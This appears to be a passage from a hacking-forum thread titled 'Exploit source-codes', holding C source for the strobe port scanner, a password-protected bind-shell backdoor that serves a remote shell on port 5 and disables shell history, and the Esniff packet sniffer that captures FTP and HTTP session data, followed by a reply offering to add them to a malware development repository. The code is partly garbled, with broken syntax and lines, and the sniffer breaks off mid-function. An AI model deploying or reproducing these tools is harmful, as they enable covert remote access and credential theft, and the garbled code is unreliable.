        !(fh = fopen ((fn=LIB_STROBE_SERVICES), "r")) &&
        !(fh = fopen ((fn=ETC_SERVICES), "r")))
perror (fn);
exit (1);
    }
    port_descs=(struct port_desc_s **) Smalloc(sizeof(struct port_descs_s *) * 65536);
    memset(port_descs, 0, 65536);
    while (fgets (lbuf, sizeof (lbuf), fh))
char *p;
struct port_desc_s *pd, *pdp;
if (strchr("*# \t\n", lbuf[0])) continue;
if (!(p = strchr (lbuf, '/'))) continue;
```

```
*p = ' ';
desc[0]='\0';
if (sscanf (lbuf, "%16s %u %3s %255[^r]", portname, &port, prot, desc) <3 || strcmp (prot,
"tcp") || (port > 65535))
   continue:
pd = port_descs[port];
if (!pd)
    portlist = (int *)Srealloc((char *)portlist, ++portlist_n*sizeof(int));
    portlist[portlist_n-1]=port;
if (!f_minimise)
    pdp = (struct port_desc_s *) Smalloc (sizeof (*pd) + strlen (desc) + 1 + strlen (portname) +
1):
    if (pd)
    {
        for (; pd->next; pd = pd->next);
       pd->next = pdp;
        pd = pd->next;
    } else
       pd = pdp;
       port_descs[port] = pd;
    pd->next = NULL;
    pd->name = (char *) (pd) + sizeof (*pd);
    pd->portname = pd->name + strlen(desc)+1;
    strcpy (pd->name, desc);
    strcpy (pd->portname, portname);
} else
    port_descs[port] = (struct port_desc_s *)-1;
    if (f_minimise)
        free (port_descs);
}
fvoid
usage ()
    fprintf (stderr, "\
usage: %8s [options]\n\
\t\t[-v(erbose)]\n\
\t[-V(erbose\_stats]\n\
\t[-m(inimise)]\n\
\t\t[-d(elete_dupes)]\n\
\t[-g(etpeername\_disable)]\n\
\t\t[-s(tatistics)]\n\
\t\t[-q(uiet)]\n\
\t[-o output_file]\n\
\t\t[-b begin_port_n]\n\
\t[-e end_port_n]\n\
\t[-p single_port_n]\n\
\t\t[-P bind_port_n]\n\
\t[-A bind_addr_n]\n\
\t = t = meout_n \
\t[-n num\_sockets\_n]\n\
\t[-S services_file]\n\
\t[-i hosts_input_file]\n\
\t[-l(inear)]\n
\t[-f(ast)]\n
\t[-a abort_after_port_n]\n\
\t[-M(ail_author)]\n\
\t\t[host1 [...host_n]]\n", Argv[0]);
    exit (1);
}
int
main (argc, argv)
 int argc;
 char **argv;
{
    int c;
   Argc = argc;
```

```
Argv = argv;
    while ((c = getopt (argc, argv, "o:dvVmgb:e:p:P:a:A:t:n:S:i:lfsqM")) != -1)
switch (c)
case 'o':
    a_output = optarg;
    break;
case 'd':
    f_delete_dupes=1;
    break;
case 'v':
    f_verbose = 1;
    break;
case 'V':
    f_verbose_stats = 1;
    break;
case 'm':
    f_minimise = 1;
    break;
case 'g':
    f_dontgetpeername = 1;
    break;
case 'b':
    a_start = atoi (optarg);
    break;
case 'e':
    a_end = atoi (optarg);
    break;
case 'P':
    a_bindport = htons (atoi (optarg));
    break;
case 'A':
    a_bindaddr = optarg;
    bindaddr = resolve (a_bindaddr);
if (bindaddr.s_addr == INADDR_NONE)
    perror(a_bindaddr);
exit(1);
   }
            break;
case 'p':
    a_start = a_end = atoi (optarg);
    break;
case 'a':
    a_abort = atoi (optarg);
    break;
case 't':
    a_timeout = atoi (optarg);
    break;
case 'n':
    a_sock_max = atoi (optarg);
    break;
case 'S':
    a_services = optarg;
    break;
case 'i':
    a_input = optarg;
    break;
case '1':
    f_{linear} = 1;
    break;
case 'f':
    f_fast = 1;
    break;
case 's':
    f_stats = 1;
    break;
        case 'q':
    f_quiet = 1;
    break;
case 'M':
    fprintf(stderr, "Enter mail to author below. End with ^D or .\n");
```

```
system("mail strobe@suburbia.net");
    break;
case '?':
default:
    fprintf (stderr, "unknown option %s\n", argv[optind-1]);
    usage ();
    /* NOT REACHED */
}
    host_n = optind;
    if (!f_quiet)
        fprintf (stderr, "strobe %s (c) 1995 Julian Assange (proff@suburbia.net).\n", VERSION);
    if (a_input)
    {
        if ( ! strcmp("-",a_input) ) { /* Use stdin as input file */
    fh_input = stdin;
 }
else {
 if (!(fh_input = fopen (a_input, "r")))
    {
      perror (a_input);
      exit (1);
   }
}
    }
     else
      switch ( argc - host_n ) { /* Number of hosts found on command line */
      case 0:
fh_input = stdin;
a_input = "stdin"; /* Needed in "next_host()" */
break;
      case 1:
f_linear = 1;
break;
   }
    if ((fh_input==stdin) && !f_quiet)
      fprintf (stderr, "Reading host names from stdin...\n");
   if (a_output)
    {
        int fd:
        if ((fd=open(a_output, O_WRONLY|O_CREAT|O_TRUNC, 0666))==-1)
perror(a_output);
exit(1);
}
dup2(fd, 1);
   }
    attempt = (struct htuple_s *) Smalloc (a_sock_max * sizeof (struct htuple_s));
    attempt_init();
    if (!f_linear)
    hosts = (struct hosts_s *) Smalloc (a_sock_max * sizeof (struct hosts_s));
    hosts_init();
    if (!f_minimise || f_fast)
    loaddescs ();
    fdsets_init();
    gettimeofday(&time_start, NULL);
    f_linear ? scan_ports_linear ():
      scan_ports_paralell ();
    if (f_stats || f_verbose_stats)
final_stats();
   exit (0);
}
/* Vanilla shell daemon with passwort authentification
^{\star} verbose explanation / sample of a shell daemon
* members.xoom.com/i0wnu (c) 1999 by Mixter */
```

```
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <strings.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <signal.h>
int
main (int a, char **b)
{
 int c, d, e = sizeof (struct sockaddr_in), f;
// c will be our listening socket, d our new socket
 char p[20];
  struct sockaddr_in 1, r;
 1.sin_family = AF_INET; // we fill this with our local ip/port
 1.sin_port = htons (5); // listen to port 5
 1.sin_addr.s_addr = INADDR_ANY; // our IP (filled in by kernel)
 bzero (&(1.sin_zero), 8);
 c = socket (AF_INET, SOCK_STREAM, 0); // listening socket
 signal (SIGCHLD, SIG_IGN); // ignore signals, optional
 signal (SIGHUP, SIG IGN);
  signal (SIGTERM, SIG_IGN);
  signal (SIGINT, SIG_IGN);
 bind (c, (struct sockaddr *) &1, sizeof (struct sockaddr)); // bind to port
 listen (c, 3); // listen to port, maximum 3 active connections
 while ((d = accept (c, (struct sockaddr *) &r, &e)))
    // accept blocks and waits for a connection attempt
    // then assigns the client connection to socket d
      if (!fork ())
// if fork is 0, this is the child process and we
// will process the clients input
{
 recv (d, p, 19, 0); // wait for up to 19 chars from the client
 // assign them to p (password variable)
 for (f = 0; f < strlen (p); f++) // this replaces trailing garbage
      if (p[f] == '\n' || p[f] == '\r')
p[f] = ' \setminus 0';
 if (strcmp (p, "test") != 0) // if password isnt "test"
      send (d, "377\373\001", 4, 0); // send an evil telnet cmd :)
      close (d); // wrong password - bye
      exit (1);
 close (0); // we close the old stdin/out/err copied
 close (1); // by the fork() and create new ones
 close (2);
 dup2 (d, 0); // these give us the new descriptors
 dup2 (d, 1); // we need them for user interaction
 dup2 (d, 2);
 setenv ("PATH", "/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin/:.", 1);
 unsetenv ("HISTFILE");
 execlp ("w", "w", (char *) 0);
 // set some environment stuff, display logged in users, optional
 execlp ("sh", "sh", (char *) 0); // execute the shell
```

```
close (d);
 exit (0);
} // end of if(!fork()) loop (child process specific code)
    } // end of while() loop
 return (0);
[esniff.c]
Code:
/* Esniff.c */
#include <stdio.h>
#include <ctype.h>
#include <string.h>
#include <sys/time.h>
#include <sys/file.h>
#include <sys/stropts.h>
#include <sys/signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <net/nit_if.h>
#include <net/nit_buf.h>
#include <net/if_arp.h>
#include <netinet/in.h>
#include <netinet/if_ether.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <netinet/ip_var.h>
#include <netinet/udp_var.h>
#include <netinet/in_systm.h>
#include <netinet/tcp.h>
#include <netinet/ip_icmp.h>
#include <netdb.h>
#include <arpa/inet.h>
#define ERR stderr
        *malloc();
char
char
        *device,
        *ProgName,
        *LogName;
FILE
        *LOG;
int
       debug=0;
                   "/dev/nit"
#define NIT DEV
#define CHUNKSIZE 4096
                                /* device buffer size */
      if_fd = -1;
int
int
       Packet[CHUNKSIZE+32];
void Pexit(err,msg)
int err; char *msg;
{ perror(msg);
 exit(err); }
void Zexit(err,msg)
int err; char *msg;
{ fprintf(ERR, msg);
 exit(err); }
#define IP
                    ((struct ip *)Packet)
#define IP OFFSET (0x1FFF)
#define SZETH
                   (sizeof(struct ether_header))
#define IPLEN
                   (ntohs(ip->ip_len))
```

```
#define IPHLEN
                  (ip->ip_hl)
#define TCPOFF
                    (tcph->th_off)
#define IPS
                   (ip->ip_src)
#define IPD
                   (ip->ip_dst)
#define TCPS
                    (tcph->th_sport)
#define TCPD
                    (tcph->th_dport)
#define IPeq(s,t) ((s).s_addr == (t).s_addr)
#define TCPFL(FLAGS) (tcph->th_flags & (FLAGS))
#define MAXBUFLEN (128)
time_t LastTIME = 0;
struct CREC {
    struct CREC *Next,
                *Last;
    time_t Time;
                              /* start time */
    struct in_addr SRCip,
                   DSTip;
                              /* src/dst ports */
    u_int SRCport,
            DSTport;
    u_char Data[MAXBUFLEN+2]; /* important stuff :-) */
                             /* current data length */
    u_int Length;
                             /* # pkts */
    u_int PKcnt;
    u_long LASTseq;
};
struct CREC *CLroot = NULL;
char *Symaddr(ip)
register struct in_addr ip;
{ register struct hostent *he =
      gethostbyaddr((char *)&ip.s_addr, sizeof(struct in_addr),AF_INET);
  return( (he)?(he->h_name):(inet_ntoa(ip)) );
char *TCPflags(flgs)
register u_char flgs;
{ static char iobuf[8];
#define SFL(P,THF,C) iobuf[P]=((flgs & THF)?C:'-')
  SFL(0,TH_FIN, 'F');
  SFL(1,TH_SYN, 'S');
  SFL(2, TH_RST, 'R');
  SFL(3,TH_PUSH, 'P');
 SFL(4,TH_ACK, 'A');
SFL(5,TH_URG, 'U');
  iobuf[6]=0;
  return(iobuf);
}
char *SERVp(port)
register u_int port;
{ static char buf[10];
  register char *p;
  switch(port) {
    case IPPORT_HTTP:
                             p="http"; break;
                            p="ftp"; break;
    case IPPORT_FTP:
    default: sprintf(buf, "%u", port); p=buf; break;
  return(p);
char *Ptm(t)
register time_t *t;
{ register char *p = ctime(t);
  p[strlen(p)-6]=0; /* strip " YYYY\n" */
  return(p);
char *NOWtm()
```

```
{ time_t tm;
 time(&tm);
 return( Ptm(&tm) );
#define MAX(a,b) (((a)>(b))?(a):(b))
#define MIN(a,b) (((a)<(b))?(a):(b))
/* add an item */
#define ADD_NODE(SIP, DIP, SPORT, DPORT, DATA, LEN) { \
  register struct CREC *CLtmp = \
        (struct CREC *)malloc(sizeof(struct CREC)); \
 time( &(CLtmp->Time) ); \
 CLtmp->SRCip.s_addr = SIP.s_addr; \
 CLtmp->DSTip.s_addr = DIP.s_addr; \
 CLtmp->SRCport = SPORT; \
 CLtmp->DSTport = DPORT; \
 CLtmp->Length = MIN(LEN, MAXBUFLEN); \
 bcopy( (u_char *)DATA, (u_char *)CLtmp->Data, CLtmp->Length); \
 CLtmp->PKcnt = 1; \
 CLtmp->Next = CLroot; \
 CLtmp->Last = NULL; \
 CLroot = CLtmp; \
}
register struct CREC *GET NODE(Sip,SP,Dip,DP)
register struct in_addr Sip, Dip;
register u_int SP, DP;
{ register struct CREC *CLr = CLroot;
 while(CLr != NULL) {
    if( (CLr->SRCport == SP) && (CLr->DSTport == DP) &&
        IPeq(CLr->SRCip,Sip) && IPeq(CLr->DSTip,Dip) )
            break:
   CLr = CLr->Next;
  return(CLr);
}
#define ADDDATA_NODE(CL,DATA,LEN) { \
bcopy((u_char *)DATA, (u_char *)&CL->Data[CL->Length], LEN); \
CL->Length += LEN; \
#define PR_DATA(dp,ln) {
 register u_char lastc=0; \
 while(ln-- >0) { \
    if(*dp < 32) {
        switch(*dp) { \
            case '\0': if((lastc=='\r') || (lastc=='\n') || lastc=='\0') \
            case '\r': \
            case '\n': fprintf(LOG,"\n
                                         : "); \
                        break; \
            default : fprintf(LOG, "^%c", (*dp + 64)); \
                        break; \
        } \
    } else { \
        if(isprint(*dp)) fputc(*dp,LOG); \
        else fprintf(LOG,"(%d)",*dp); \
   lastc = *dp++; \ \
 fflush(LOG); \
void END_NODE(CLe,d,dl,msg)
register struct CREC *CLe;
register u_char *d;
register int dl;
register char *msg;
 fprintf(LOG,"\n-- TCP/IP LOG -- TM: %s --\n", Ptm(&CLe->Time));
```

```
fprintf(LOG, " PATH: %s(%s) =>", Symaddr(CLe->SRCip), SERVp(CLe->SRCport));
  fprintf(LOG," %s(%s)\n", Symaddr(CLe->DSTip), SERVp(CLe->DSTport));
fprintf(LOG," STAT: %s, %d pkts, %d bytes [%s]\n",
                         NOWtm(), CLe->PKcnt, (CLe->Length+dl), msg);
  fprintf(LOG, " DATA: ");
    { register u_int i = CLe->Length;
      register u_char *p = CLe->Data;
      PR_DATA(p,i);
      PR_DATA(d,dl);
    }
  fprintf(LOG,"\n-- \n");
  fflush(LOG);
  if(CLe->Next != NULL)
    CLe->Next->Last = CLe->Last;
  if(CLe->Last != NULL)
    CLe->Last->Next = CLe->Next;
  else
    CLroot = CLe->Next;
  free(CLe);
/* 30 mins (x 60 seconds) */
#define IDLE_TIMEOUT 1800
#define IDLE_NODE() { \
  time_t tm; \
  time(&tm); \
  if(LastTIME<tm) { \</pre>
    register struct CREC *CLe, *CLt = CLroot; \
    LastTIME=(tm+IDLE_TIMEOUT); tm-=IDLE_TIMEOUT; \
    while(CLe=CLt) { \
      CLt=CLe->Next; \
      if(CLe->Time <tm) \
          END_NODE(CLe,(u_char *)NULL,0,"IDLE TIMEOUT"); \
    } \
 } \
void filter(cp, pktlen)
register char *cp;
register u_int pktlen;
register struct ip
register struct tcphdr *tcph;
{ register u_short EtherType=ntohs(((struct ether_header *)cp)->ether_type);
  if(EtherType < 0x600) {</pre>
    EtherType = *(u_short *)(cp + SZETH + 6);
    cp+=8; pktlen-=8;
  if(EtherType != ETHERTYPE_IP) /* chuk it if its not IP */
      return:
    /* ugh, gotta do an alignment :-( */
bcopy(cp + SZETH, (char *)Packet,(int)(pktlen - SZETH));
ip = (struct ip *)Packet;
if( ip->ip_p != IPPROTO_TCP) /* chuk non tcp pkts */
    return;
tcph = (struct tcphdr *)(Packet + IPHLEN);
if(!(
      (TCPD == IPPORT_FTP) ||
      (TCPD == IPPORT_HTTP)
  )) return;
{ register struct CREC *CLm;
  register int length = ((IPLEN - (IPHLEN * 4)) - (TCPOFF * 4));
  register u_char *p = (u_char *)Packet;
```

```
p += ((IPHLEN * 4) + (TCPOFF * 4));
if(debug) {
  fprintf(LOG, "PKT: (%s %04X) ", TCPflags(tcph->th_flags), length);
  fprintf(LOG, "%s[%s] => ", inet_ntoa(IPS), SERVp(TCPS));
  fprintf(LOG, "%s[%s]\n", inet_ntoa(IPD), SERVp(TCPD));
  if( CLm = GET_NODE(IPS, TCPS, IPD, TCPD) ) {
      CLm->PKcnt++;
      if(length>0)
        if( (CLm->Length + length) < MAXBUFLEN ) {</pre>
          ADDDATA_NODE( CLm, p,length);
        } else {
          END_NODE( CLm, p,length, "DATA LIMIT");
        }
      if(TCPFL(TH_FIN|TH_RST)) {
          END_NODE( CLm, (u_char *)NULL,0,TCPFL(TH_FIN)?"TH_FIN":"TH_RST" );
  } else {
      if(TCPFL(TH_SYN)) {
        ADD_NODE(IPS, IPD, TCPS, TCPD, p, length);
 }
  IDLE_NODE();
}
}
/* signal handler
void death()
{ register struct CREC *CLe;
    while(CLe=CLroot)
        END_NODE( CLe, (u_char *)NULL,0, "SIGNAL");
    fprintf(LOG,"\nLog ended at => %s\n",NOWtm());
    fflush(LOG);
    if(LOG != stdout)
        fclose(LOG);
    exit(1);
}
/* opens network interface, performs ioctls and reads from it,
* passing data to filter function
void do_it()
{
    int cc;
    char *buf;
    u_short sp_ts_len;
    if(!(buf=malloc(CHUNKSIZE)))
        Pexit(1,"Eth: malloc");
/* this /dev/nit initialization code pinched from etherfind */
    struct strioctl si;
    struct ifreq ifr;
struct timeval timeout;
    u_int chunksize = CHUNKSIZE;
    u_long if_flags = NI_PROMISC;
```

```
if((if_fd = open(NIT_DEV, 0_RDONLY)) < 0)</pre>
    Pexit(1, "Eth: nit open");
if(ioctl(if_fd, I_SRDOPT, (char *)RMSGD) < 0)
   Pexit(1,"Eth: ioctl (I_SRDOPT)");
si.ic timout = INFTIM;
if(ioctl(if_fd, I_PUSH, "nbuf") < 0)</pre>
   Pexit(1,"Eth: ioctl (I_PUSH \"nbuf\")");
timeout.tv_sec = 1;
timeout.tv_usec = 0;
si.ic_cmd = NIOCSTIME;
si.ic_len = sizeof(timeout);
si.ic_dp = (char *)&timeout;
if(ioctl(if_fd, I_STR, (char *)&si) < 0)
   Pexit(1,"Eth: ioctl (I_STR: NIOCSTIME)");
si.ic_cmd = NIOCSCHUNK;
si.ic_len = sizeof(chunksize);
si.ic_dp = (char *)&chunksize;
if(ioctl(if_fd, I_STR, (char *)&si) < 0)</pre>
   Pexit(1,"Eth: ioctl (I_STR: NIOCSCHUNK)");
strncpy(ifr.ifr_name, device, sizeof(ifr.ifr_name));
ifr.ifr_name[sizeof(ifr.ifr_name) - 1] = '\0';
si.ic_cmd = NIOCBIND;
si.ic_len = sizeof(ifr);
si.ic_dp = (char *)
```

RE: Exploit source-codes - Vector - 07-14-2020

Some excellent examples, here. If you'd like i could put these files in the Payload directory in our Exploit and MalDev R&D repo. The GS one.

I might expand on it by writing what the various examples are all about in the repo when i have a minute to spare.